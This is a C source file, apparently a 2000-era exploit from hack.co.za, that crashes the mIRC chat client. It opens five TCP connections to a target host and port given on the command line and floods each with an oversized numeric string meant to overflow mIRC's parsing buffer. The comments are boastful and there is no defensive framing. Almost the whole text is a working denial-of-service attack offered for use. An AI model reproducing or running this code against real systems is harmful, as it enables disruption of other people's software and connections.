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- /*
- hanson.c - by myn with help from h2o and watcher *thanks*
-
- This lil program exploits mIRC's bound sockets, making the client crash
-
- mIRC can handle a mass influx of data but cannot handle strings of data
- that are parsed internally through mIRC. This program forces mIRC to
- parse incoming data and identify it, the result from the parse
- is larger then mIRC's buffer string size, thus making the
- client crash :). This will create 5 connections to the bound port and
- then send the string.
-
- Its like sending double "int" when you only had 1 bit to work with!
-
- hanson.c is dedicated to all the lil 13 to 16 year old geeks (abyss)
- that are in love with those cute boys..
-
- myn@efnet
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
-
- int x, s, i, p, dport;
-
- /* SET STRING HERE */
- char *str = "999999999999999999999999999999999999999999999"
- "99999999999999999999999999999999999999999999999999999999"
- "9999999999999999999999999999999999999999999*999999999999"
- "99999999999999999999999999999999999999999999999999999999"
- "9999999999999999999999999999999999999999999999999999999";
-
- struct sockaddr_in addr, spoofedaddr;
- struct hostent *host;
-
- int open_sock(int sock, char *server, int port) {
- struct sockaddr_in blah;
- struct hostent *he;
- bzero((char *)&blah,sizeof(blah));
- blah.sin_family=AF_INET;
- blah.sin_addr.s_addr=inet_addr(server);
- blah.sin_port=htons(port);
-
- if ((he = gethostbyname(server)) != NULL) {
- bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
- }
- else {
- if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
- perror("gethostbyname()");
- return(-3);
- }
- }
-
- if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
- perror("connect()");
- close(sock);
- return(-4);
- }
- printf(" Connected to [%s:%d].\n",server,port);
- return;
- }
-
- void main(int argc, char *argv[]) {
- int t;
- if (argc != 3) {
- printf("hanson.c - myn@efnet\n\n");
- printf("This lil program exploits mIRC's bound sockets, making the client crash\n\n");
- printf("Usage: %s <target> <port>\n",argv[0]);
- exit(0);
- }
- printf("hanson.c - myn@efnet\n\n");
- for (t=0; t<5; t++)
- {
- if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
- perror("socket()");
- exit(-1);
- }
- p = atoi(argv[2]);
- open_sock(s,argv[1],p);
-
- printf(" Sending string 1ooo times to %s port %i... \n", argv[1], p);
-
- for (i=0; i<1000; i++) {
- send(s,str,strlen(str),0x0);
- }
- printf("mmmmb0p.\n");
- }
- close(s);
- }
- /* www.hack.co.za [14 August 2000]*/